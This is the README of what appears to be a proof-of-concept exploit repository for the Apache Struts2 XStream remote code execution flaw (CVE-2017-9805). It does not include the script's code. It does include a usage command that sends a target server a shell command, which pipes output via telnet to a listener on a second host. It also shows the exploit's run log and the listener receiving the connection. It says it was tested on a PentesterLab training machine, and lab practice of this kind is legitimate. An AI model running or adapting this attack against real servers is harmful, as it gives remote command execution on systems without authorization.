Exploit script for Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805) # Vulnerability information
Resources:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
# What is this?
A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052.
# Usage
python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
```bash
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
```
```bash
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
```
Tested on pentesterlab vulnerable machine of exercise s2-052.
[4.0K] /data/pocs/95fd0fe5933bb9ba93b0b4a9b9388eafc4799ffd
├── [ 742] README.md
└── [5.6K] s2-052.py
0 directories, 2 files